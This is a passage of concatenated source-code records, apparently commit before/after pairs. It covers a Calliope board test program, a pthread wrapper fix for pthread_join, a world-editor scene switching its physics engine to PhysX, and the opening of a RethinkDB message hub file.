MICROBIT_EVT_ANY, onButton3);\n\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_SHAKE, onShake);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_FACE_UP, onFaceUp);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_FACE_DOWN, onFaceDown);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_UP, onTiltUp);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_DOWN, onTiltDown);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_LEFT, onTiltLeft);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_RIGHT, onTiltRight);\n\n while (1) uBit.sleep(100);\n}change board test according to tester feedback#include \n#include \"CalliopeDemo.h\"\n\nextern MicroBit uBit;\n\nvoid onButtonA(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"A\");\n}\n\nvoid onButtonB(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"B\");\n}\n\nvoid onButtonAB(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"A+B\");\n}\n\nvoid onButton0(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"0\");\n}\n\nvoid onButton1(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"1\");\n}\n\nvoid onButton2(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"2\");\n}\n\nvoid onButton3(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"3\");\n}\n\nvoid onShake(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"S\");\n}\n\nvoid onFaceUp(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"+\");\n}\n\nvoid onFaceDown(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"-\");\n}\n\nvoid onTiltUp(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"U\");\n}\n\nvoid onTiltDown(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"D\");\n}\n\nvoid onTiltLeft(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"L\");\n}\n\nvoid onTiltRight(MicroBitEvent event) {\n (void) event;\n uBit.display.print(\"R\");\n}\n\nvoid testBoard() {\n KeyValuePair *firstTime = uBit.storage.get(\"initial\");\n\n if (firstTime != NULL) return;\n uint8_t done = 1;\n uBit.storage.put(\"initial\", &done, sizeof(int));\n\n uBit.serial.send(\"sound\\r\\n\");\n uBit.soundmotor.setSoundSilentMode(true);\n uBit.soundmotor.soundOn(500);\n uBit.sleep(100);\n uBit.soundmotor.soundOn(2000);\n uBit.sleep(100);\n uBit.soundmotor.soundOn(3000);\n uBit.sleep(100);\n uBit.soundmotor.soundOff();\n uBit.sleep(500);\n\n uBit.serial.send(\"display\\r\\n\");\n uBit.display.clear();\n uBit.display.print(Full);\n for (int i = 255; i > 0; i -= 2) {\n uBit.display.setBrightness(i);\n uBit.sleep(3);\n }\n uBit.sleep(3);\n for (int i = 0; i < 255; i += 2) {\n uBit.display.setBrightness(i);\n uBit.sleep(3);\n }\n\n uBit.serial.send(\"RGB led\\r\\n\");\n uBit.rgb.off();\n uBit.rgb.setColour(255, 0, 0, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n uBit.rgb.setColour(0, 255, 0, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n uBit.rgb.setColour(0, 0, 255, 0);\n uBit.sleep(200);\n uBit.rgb.off();\n\n uBit.serial.send(\"accelerometer\\r\\n\");\n for (int i = 0; i < 10; i++) {\n uBit.accelerometer.getX();\n uBit.accelerometer.getY();\n uBit.accelerometer.getZ();\n }\n uBit.display.print(Tick);\n\n \/\/ we need to trigger touch sensing\n uBit.io.P12.isTouched();\n uBit.io.P0.isTouched();\n uBit.io.P1.isTouched();\n uBit.io.P16.isTouched();\n\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_A, MICROBIT_BUTTON_EVT_CLICK, onButtonA);\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_B, MICROBIT_BUTTON_EVT_CLICK, onButtonB);\n uBit.messageBus.listen(MICROBIT_ID_BUTTON_AB, MICROBIT_BUTTON_EVT_CLICK, onButtonAB);\n uBit.messageBus.listen(MICROBIT_ID_IO_P12, MICROBIT_EVT_ANY, onButton0);\n uBit.messageBus.listen(MICROBIT_ID_IO_P0, MICROBIT_EVT_ANY, onButton1);\n uBit.messageBus.listen(MICROBIT_ID_IO_P1, MICROBIT_EVT_ANY, onButton2);\n uBit.messageBus.listen(MICROBIT_ID_IO_P16, MICROBIT_EVT_ANY, onButton3);\n\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_SHAKE, onShake);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_FACE_UP, onFaceUp);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_FACE_DOWN, onFaceDown);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_UP, onTiltUp);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_DOWN, onTiltDown);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_LEFT, onTiltLeft);\n uBit.messageBus.listen(MICROBIT_ID_GESTURE, MICROBIT_ACCELEROMETER_EVT_TILT_RIGHT, onTiltRight);\n\n while (1) uBit.sleep(100);\n}<|endoftext|>"} {"text":"\/*\n * Copyright (c) 2015, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \n#include \n#include \n#include \n\n#ifdef BUILD_TESTS\n\/\/ Temporary fix for UnitTest until APPLINK-9987 is resolved\n#include \n#endif\n\n#include \"utils\/threads\/thread.h\"\n#include \"pthread.h\"\n#include \"utils\/atomic.h\"\n#include \"utils\/threads\/thread_delegate.h\"\n#include \"utils\/logger.h\"\n\n#ifndef __QNXNTO__\nconst int EOK = 0;\n#endif\n\n#if defined(OS_POSIX)\nconst size_t THREAD_NAME_SIZE = 15;\n#endif\n\nnamespace threads {\n\nCREATE_LOGGERPTR_GLOBAL(logger_, \"Utils\")\n\nsize_t Thread::kMinStackSize = PTHREAD_STACK_MIN; \/* Ubuntu : 16384 ; QNX : 256; *\/\n\nvoid Thread::cleanup(void* arg) {\n LOG4CXX_AUTO_TRACE(logger_);\n Thread* thread = reinterpret_cast(arg);\n sync_primitives::AutoLock auto_lock(thread->state_lock_);\n thread->isThreadRunning_ = false;\n thread->state_cond_.Broadcast();\n}\n\nvoid* Thread::threadFunc(void* arg) {\n \/\/ 0 - state_lock unlocked\n \/\/ stopped = 0\n \/\/ running = 0\n \/\/ finalized = 0\n \/\/ 4 - state_lock unlocked\n \/\/ stopped = 1\n \/\/ running = 1\n \/\/ finalized = 0\n \/\/ 5 - state_lock unlocked\n \/\/ stopped = 1\n \/\/ running = 1\n \/\/ finalized = 1\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" started successfully\");\n\n threads::Thread* thread = reinterpret_cast(arg);\n DCHECK(thread);\n\n pthread_cleanup_push(&cleanup, thread);\n\n thread->state_lock_.Acquire();\n thread->state_cond_.Broadcast();\n\n while (!thread->finalized_) {\n LOG4CXX_DEBUG(logger_, \"Thread #\" << pthread_self() << \" iteration\");\n thread->run_cond_.Wait(thread->state_lock_);\n LOG4CXX_DEBUG(\n logger_,\n \"Thread #\" << pthread_self() << \" execute. \" << \"stopped_ = \" << thread->stopped_ << \"; finalized_ = \" << thread->finalized_);\n if (!thread->stopped_ && !thread->finalized_) {\n thread->isThreadRunning_ = true;\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_testcancel();\n\n thread->state_lock_.Release();\n thread->delegate_->threadMain();\n thread->state_lock_.Acquire();\n\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n thread->isThreadRunning_ = false;\n }\n thread->state_cond_.Broadcast();\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" finished iteration\");\n }\n\n thread->state_lock_.Release();\n pthread_cleanup_pop(1);\n\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" exited successfully\");\n return NULL;\n}\n\nvoid Thread::SetNameForId(const PlatformThreadHandle& thread_id,\n std::string name) {\n if (name.size() > THREAD_NAME_SIZE)\n name.erase(THREAD_NAME_SIZE);\n const int rc = pthread_setname_np(thread_id, name.c_str());\n if (rc != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set pthread name \\\"\" << name << \"\\\", error code \" << rc << \" (\" << strerror(rc) << \")\");\n }\n}\n\nThread::Thread(const char* name, ThreadDelegate* delegate)\n : name_(name ? name : \"undefined\"),\n delegate_(delegate),\n handle_(0),\n thread_options_(),\n isThreadRunning_(0),\n stopped_(false),\n finalized_(false),\n thread_created_(false) {\n}\n\nbool Thread::start() {\n return start(thread_options_);\n}\n\nPlatformThreadHandle Thread::CurrentId() {\n return pthread_self();\n}\n\nbool Thread::start(const ThreadOptions& options) {\n LOG4CXX_AUTO_TRACE(logger_);\n\n sync_primitives::AutoLock auto_lock(state_lock_);\n \/\/ 1 - state_lock locked\n \/\/ stopped = 0\n \/\/ running = 0\n\n if (!delegate_) {\n LOG4CXX_ERROR(logger_,\n \"Cannot start thread \" << name_ << \": delegate is NULL\");\n \/\/ 0 - state_lock unlocked\n return false;\n }\n\n if (isThreadRunning_) {\n LOG4CXX_TRACE(\n logger_,\n \"EXIT thread \"<< name_ << \" #\" << handle_ << \" is already running\");\n return true;\n }\n\n thread_options_ = options;\n\n pthread_attr_t attributes;\n int pthread_result = pthread_attr_init(&attributes);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't init pthread attributes. Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n\n if (!thread_options_.is_joinable()) {\n pthread_result = pthread_attr_setdetachstate(&attributes, PTHREAD_CREATE_DETACHED);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set detach state attribute. Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n thread_options_.is_joinable(false);\n }\n }\n\n const size_t stack_size = thread_options_.stack_size();\n if (stack_size >= Thread::kMinStackSize) {\n pthread_result = pthread_attr_setstacksize(&attributes, stack_size);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set stacksize = \" << stack_size << \". Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n }\n else {\n ThreadOptions thread_options_temp(Thread::kMinStackSize, thread_options_.is_joinable());\n thread_options_ = thread_options_temp;\n }\n\n if (!thread_created_) {\n \/\/ state_lock 1\n pthread_result = pthread_create(&handle_, &attributes, threadFunc, this);\n if (pthread_result == EOK) {\n LOG4CXX_DEBUG(logger_, \"Created thread: \" << name_);\n SetNameForId(handle_, name_);\n \/\/ state_lock 0\n \/\/ possible concurrencies: stop and threadFunc\n state_cond_.Wait(auto_lock);\n thread_created_ = true;\n } else {\n LOG4CXX_ERROR(\n logger_,\n \"Couldn't create thread \" << name_ << \". Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n }\n stopped_ = false;\n run_cond_.NotifyOne();\n LOG4CXX_DEBUG(\n logger_,\n \"Thread \" << name_ << \" #\" << handle_ << \" started. pthread_result = \" << pthread_result);\n pthread_attr_destroy(&attributes);\n return pthread_result == EOK;\n}\n\nvoid Thread::stop() {\n LOG4CXX_AUTO_TRACE(logger_);\n sync_primitives::AutoLock auto_lock(state_lock_);\n\n stopped_ = true;\n\n LOG4CXX_DEBUG(logger_, \"Stopping thread #\" << handle_\n << \" \\\"\" << name_ << \" \\\"\");\n\n if (delegate_ && isThreadRunning_) {\n delegate_->exitThreadMain();\n }\n\n LOG4CXX_DEBUG(logger_,\n \"Stopped thread #\" << handle_ << \" \\\"\" << name_ << \" \\\"\");\n}\n\nvoid Thread::join() {\n LOG4CXX_AUTO_TRACE(logger_);\n DCHECK(!pthread_equal(pthread_self(), handle_));\n\n stop();\n\n sync_primitives::AutoLock auto_lock(state_lock_);\n run_cond_.NotifyOne();\n if (isThreadRunning_) {\n if (!pthread_equal(pthread_self(), handle_)) {\n state_cond_.Wait(auto_lock);\n }\n }\n}\n\nThread::~Thread() {\n finalized_ = true;\n stopped_ = true;\n join();\n pthread_join(handle_, NULL);\n}\n\nThread* CreateThread(const char* name, ThreadDelegate* delegate) {\n Thread* thread = new Thread(name, delegate);\n delegate->set_thread(thread);\n return thread;\n}\n\nvoid DeleteThread(Thread* thread) {\n delete thread;\n}\n\n} \/\/ namespace threads\nfix for pthread_join() crash in some platforms\/*\n * Copyright (c) 2015, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \n#include \n#include \n#include \n\n#ifdef BUILD_TESTS\n\/\/ Temporary fix for UnitTest until APPLINK-9987 is resolved\n#include \n#endif\n\n#include \"utils\/threads\/thread.h\"\n#include \"pthread.h\"\n#include \"utils\/atomic.h\"\n#include \"utils\/threads\/thread_delegate.h\"\n#include \"utils\/logger.h\"\n\n#ifndef __QNXNTO__\nconst int EOK = 0;\n#endif\n\n#if defined(OS_POSIX)\nconst size_t THREAD_NAME_SIZE = 15;\n#endif\n\nnamespace threads {\n\nCREATE_LOGGERPTR_GLOBAL(logger_, \"Utils\")\n\nsize_t Thread::kMinStackSize = PTHREAD_STACK_MIN; \/* Ubuntu : 16384 ; QNX : 256; *\/\n\nvoid Thread::cleanup(void* arg) {\n LOG4CXX_AUTO_TRACE(logger_);\n Thread* thread = reinterpret_cast(arg);\n sync_primitives::AutoLock auto_lock(thread->state_lock_);\n thread->isThreadRunning_ = false;\n thread->state_cond_.Broadcast();\n}\n\nvoid* Thread::threadFunc(void* arg) {\n \/\/ 0 - state_lock unlocked\n \/\/ stopped = 0\n \/\/ running = 0\n \/\/ finalized = 0\n \/\/ 4 - state_lock unlocked\n \/\/ stopped = 1\n \/\/ running = 1\n \/\/ finalized = 0\n \/\/ 5 - state_lock unlocked\n \/\/ stopped = 1\n \/\/ running = 1\n \/\/ finalized = 1\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" started successfully\");\n\n threads::Thread* thread = reinterpret_cast(arg);\n DCHECK(thread);\n\n pthread_cleanup_push(&cleanup, thread);\n\n thread->state_lock_.Acquire();\n thread->state_cond_.Broadcast();\n\n while (!thread->finalized_) {\n LOG4CXX_DEBUG(logger_, \"Thread #\" << pthread_self() << \" iteration\");\n thread->run_cond_.Wait(thread->state_lock_);\n LOG4CXX_DEBUG(\n logger_,\n \"Thread #\" << pthread_self() << \" execute. \" << \"stopped_ = \" << thread->stopped_ << \"; finalized_ = \" << thread->finalized_);\n if (!thread->stopped_ && !thread->finalized_) {\n thread->isThreadRunning_ = true;\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_testcancel();\n\n thread->state_lock_.Release();\n thread->delegate_->threadMain();\n thread->state_lock_.Acquire();\n\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n thread->isThreadRunning_ = false;\n }\n thread->state_cond_.Broadcast();\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" finished iteration\");\n }\n\n thread->state_lock_.Release();\n pthread_cleanup_pop(1);\n\n LOG4CXX_DEBUG(logger_,\n \"Thread #\" << pthread_self() << \" exited successfully\");\n return NULL;\n}\n\nvoid Thread::SetNameForId(const PlatformThreadHandle& thread_id,\n std::string name) {\n if (name.size() > THREAD_NAME_SIZE)\n name.erase(THREAD_NAME_SIZE);\n const int rc = pthread_setname_np(thread_id, name.c_str());\n if (rc != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set pthread name \\\"\" << name << \"\\\", error code \" << rc << \" (\" << strerror(rc) << \")\");\n }\n}\n\nThread::Thread(const char* name, ThreadDelegate* delegate)\n : name_(name ? name : \"undefined\"),\n delegate_(delegate),\n handle_(0),\n thread_options_(),\n isThreadRunning_(0),\n stopped_(false),\n finalized_(false),\n thread_created_(false) {\n}\n\nbool Thread::start() {\n return start(thread_options_);\n}\n\nPlatformThreadHandle Thread::CurrentId() {\n return pthread_self();\n}\n\nbool Thread::start(const ThreadOptions& options) {\n LOG4CXX_AUTO_TRACE(logger_);\n\n sync_primitives::AutoLock auto_lock(state_lock_);\n \/\/ 1 - state_lock locked\n \/\/ stopped = 0\n \/\/ running = 0\n\n if (!delegate_) {\n LOG4CXX_ERROR(logger_,\n \"Cannot start thread \" << name_ << \": delegate is NULL\");\n \/\/ 0 - state_lock unlocked\n return false;\n }\n\n if (isThreadRunning_) {\n LOG4CXX_TRACE(\n logger_,\n \"EXIT thread \"<< name_ << \" #\" << handle_ << \" is already running\");\n return true;\n }\n\n thread_options_ = options;\n\n pthread_attr_t attributes;\n int pthread_result = pthread_attr_init(&attributes);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't init pthread attributes. Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n\n if (!thread_options_.is_joinable()) {\n pthread_result = pthread_attr_setdetachstate(&attributes, PTHREAD_CREATE_DETACHED);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set detach state attribute. Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n thread_options_.is_joinable(false);\n }\n }\n\n const size_t stack_size = thread_options_.stack_size();\n if (stack_size >= Thread::kMinStackSize) {\n pthread_result = pthread_attr_setstacksize(&attributes, stack_size);\n if (pthread_result != EOK) {\n LOG4CXX_WARN(\n logger_,\n \"Couldn't set stacksize = \" << stack_size << \". Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n }\n else {\n ThreadOptions thread_options_temp(Thread::kMinStackSize, thread_options_.is_joinable());\n thread_options_ = thread_options_temp;\n }\n\n if (!thread_created_) {\n \/\/ state_lock 1\n pthread_result = pthread_create(&handle_, &attributes, threadFunc, this);\n if (pthread_result == EOK) {\n LOG4CXX_DEBUG(logger_, \"Created thread: \" << name_);\n SetNameForId(handle_, name_);\n \/\/ state_lock 0\n \/\/ possible concurrencies: stop and threadFunc\n state_cond_.Wait(auto_lock);\n thread_created_ = true;\n } else {\n LOG4CXX_ERROR(\n logger_,\n \"Couldn't create thread \" << name_ << \". Error code = \" << pthread_result << \" (\\\"\" << strerror(pthread_result) << \"\\\")\");\n }\n }\n stopped_ = false;\n run_cond_.NotifyOne();\n LOG4CXX_DEBUG(\n logger_,\n \"Thread \" << name_ << \" #\" << handle_ << \" started. pthread_result = \" << pthread_result);\n pthread_attr_destroy(&attributes);\n return pthread_result == EOK;\n}\n\nvoid Thread::stop() {\n LOG4CXX_AUTO_TRACE(logger_);\n sync_primitives::AutoLock auto_lock(state_lock_);\n\n stopped_ = true;\n\n LOG4CXX_DEBUG(logger_, \"Stopping thread #\" << handle_\n << \" \\\"\" << name_ << \" \\\"\");\n\n if (delegate_ && isThreadRunning_) {\n delegate_->exitThreadMain();\n }\n\n LOG4CXX_DEBUG(logger_,\n \"Stopped thread #\" << handle_ << \" \\\"\" << name_ << \" \\\"\");\n}\n\nvoid Thread::join() {\n LOG4CXX_AUTO_TRACE(logger_);\n DCHECK(!pthread_equal(pthread_self(), handle_));\n\n stop();\n\n sync_primitives::AutoLock auto_lock(state_lock_);\n run_cond_.NotifyOne();\n if (isThreadRunning_) {\n if (!pthread_equal(pthread_self(), handle_)) {\n state_cond_.Wait(auto_lock);\n }\n }\n}\n\nThread::~Thread() {\n finalized_ = true;\n stopped_ = true;\n join();\n \/\/in some platforms pthread_join behaviour is undefined when thread is not created(pthread_create) and call pthread_join.\n if(handle_) {\n pthread_join(handle_, NULL);\n handle_ = 0;\n }\n}\n\nThread* CreateThread(const char* name, ThreadDelegate* delegate) {\n Thread* thread = new Thread(name, delegate);\n delegate->set_thread(thread);\n return thread;\n}\n\nvoid DeleteThread(Thread* thread) {\n delete thread;\n}\n\n} \/\/ namespace threads\n<|endoftext|>"} {"text":"#include \"WorldEditorScene.hpp\"\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"Systems\/RenderCameraSystem.hpp\"\n\nnamespace AGE\n{\n\tconst std::string WorldEditorScene::Name = \"World Editor\";\n\n\tWorldEditorScene::WorldEditorScene(AGE::Engine *engine)\n\t\t: AScene(engine)\n\t{\n\t}\n\n\tWorldEditorScene::~WorldEditorScene(void)\n\t{\n\t}\n\n\tbool WorldEditorScene::_userStart()\n\t{\n\t\tWE::EditorConfiguration::RefreshScenesDirectoryListing();\n\t\tgetInstance()->setAssetsDirectory(WE::EditorConfiguration::GetCookedDirectory());\n\n\t\taddSystem(0);\n\t\taddSystem(1);\n\t\taddSystem(2);\n\t\taddSystem(3, Physics::EngineType::Bullet, getInstance());\n\t\tgetInstance()->getWorld()->setGravity(0, 0, 0);\n\t\taddSystem(1000);\n\t\treturn true;\n\t}\n\n\tbool WorldEditorScene::_userUpdateBegin(float time)\n\t{\n\t\treturn true;\n\t}\n\n\tbool WorldEditorScene::_userUpdateEnd(float time)\n\t{\n\t\tif (_displayWindow)\n\t\t{\n\t\t\tgetInstance()->update(this);\n\t\t}\n\t\t\/\/ TODO\n\t\t\/\/AGE::GetPrepareThread()->getQueue()->emplaceCommand();\n\t\treturn true;\n\t}\n\n\tvoid WorldEditorScene::updateMenu()\n\t{\n\t\tif (ImGui::BeginMenu(\"Scene\"))\n\t\t{\n\t\t\tgetSystem()->updateMenu();\n\t\t\tImGui::EndMenu();\n\t\t}\n\t\tif (ImGui::BeginMenu(\"Archetypes\"))\n\t\t{\n\t\t\tgetInstance()->updateMenu();\n\t\t\tImGui::EndMenu();\n\t\t}\n\t}\n}PhysX on AssetEditor#include \"WorldEditorScene.hpp\"\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"Systems\/RenderCameraSystem.hpp\"\n\nnamespace AGE\n{\n\tconst std::string WorldEditorScene::Name = \"World Editor\";\n\n\tWorldEditorScene::WorldEditorScene(AGE::Engine *engine)\n\t\t: AScene(engine)\n\t{\n\t}\n\n\tWorldEditorScene::~WorldEditorScene(void)\n\t{\n\t}\n\n\tbool WorldEditorScene::_userStart()\n\t{\n\t\tWE::EditorConfiguration::RefreshScenesDirectoryListing();\n\t\tgetInstance()->setAssetsDirectory(WE::EditorConfiguration::GetCookedDirectory());\n\n\t\taddSystem(0);\n\t\taddSystem(1);\n\t\taddSystem(2);\n\t\taddSystem(3, Physics::EngineType::PhysX, getInstance());\n\t\tgetInstance()->getWorld()->setGravity(0, 0, 0);\n\t\taddSystem(1000);\n\t\treturn true;\n\t}\n\n\tbool WorldEditorScene::_userUpdateBegin(float time)\n\t{\n\t\treturn true;\n\t}\n\n\tbool WorldEditorScene::_userUpdateEnd(float time)\n\t{\n\t\tif (_displayWindow)\n\t\t{\n\t\t\tgetInstance()->update(this);\n\t\t}\n\t\t\/\/ TODO\n\t\t\/\/AGE::GetPrepareThread()->getQueue()->emplaceCommand();\n\t\treturn true;\n\t}\n\n\tvoid WorldEditorScene::updateMenu()\n\t{\n\t\tif (ImGui::BeginMenu(\"Scene\"))\n\t\t{\n\t\t\tgetSystem()->updateMenu();\n\t\t\tImGui::EndMenu();\n\t\t}\n\t\tif (ImGui::BeginMenu(\"Archetypes\"))\n\t\t{\n\t\t\tgetInstance()->updateMenu();\n\t\t\tImGui::EndMenu();\n\t\t}\n\t}\n}<|endoftext|>"} {"text":"\/\/ Copyright 2010-2012 RethinkDB, all rights reserved.\n#include \"arch\/runtime\/message_hub.hpp\"\n\n#include \n#include \n\n#include \"config\/args.hpp\"\n#include \"arch\/runtime\/event_queue.hpp\"\n#include \"arch\/runtime\/thread_pool.hpp\"\n#include \"logger.hpp\"\n\n\/\/ Set this to 1 if you would like some \"unordered\" messages to be unordered.\n#ifndef NDEBUG\n#define RDB_RELOOP_MESSAGES 0\n#endif\n\nlinux_message_hub_t::linux_message_hub_t(linux_event_queue_t *queue, linux_thread_pool_t *thread_pool, int current_thread)\n : queue_(queue), thread_pool_(thread_pool), current_thread_(current_thread) {\n\n \/\/ We have to do this through dynamically, otherwise we might\n \/\/ allocate far too many file descriptors since this is what the\n \/\/ constructor of the system_event_t object (which is a member of\n \/\/ notify_t) does.\n notify_ = new notify_t[thread_pool_->n_threads];\n\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n \/\/ Create notify fd for other cores that send work to us\n notify_[i].notifier_thread = i;\n notify_[i].parent = this;\n\n queue_->watch_resource(notify_[i].event.get_notify_fd(), poll_event_in, ¬ify_[i]);\n }\n}\n\nlinux_message_hub_t::~linux_message_hub_t() {\n int res;\n\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n guarantee(queues_[i].msg_local_list.empty());\n }\n\n guarantee(incoming_messages_.empty());\n\n delete[] notify_;\n}\n\nvoid linux_message_hub_t::do_store_message(unsigned int nthread, linux_thread_message_t *msg) {\n rassert(nthread < (unsigned)thread_pool_->n_threads);\n queues_[nthread].msg_local_list.push_back(msg);\n}\n\n\/\/ Collects a message for a given thread onto a local list.\nvoid linux_message_hub_t::store_message(unsigned int nthread, linux_thread_message_t *msg) {\n#ifndef NDEBUG\n#if RDB_RELOOP_MESSAGES\n \/\/ We default to 1, not zero, to allow store_message_sometime messages to sometimes jump ahead of\n \/\/ store_message messages.\n msg->reloop_count_ = 1;\n#else\n msg->reloop_count_ = 0;\n#endif\n#endif \/\/ NDEBUG\n do_store_message(nthread, msg);\n}\n\nint rand_reloop_count() {\n int x;\n frexp(randint(10000) \/ 10000.0, &x);\n int ret = -x;\n rassert(ret >= 0);\n return ret;\n}\n\nvoid linux_message_hub_t::store_message_sometime(unsigned int nthread, linux_thread_message_t *msg) {\n#ifndef NDEBUG\n#if RDB_RELOOP_MESSAGES\n msg->reloop_count_ = 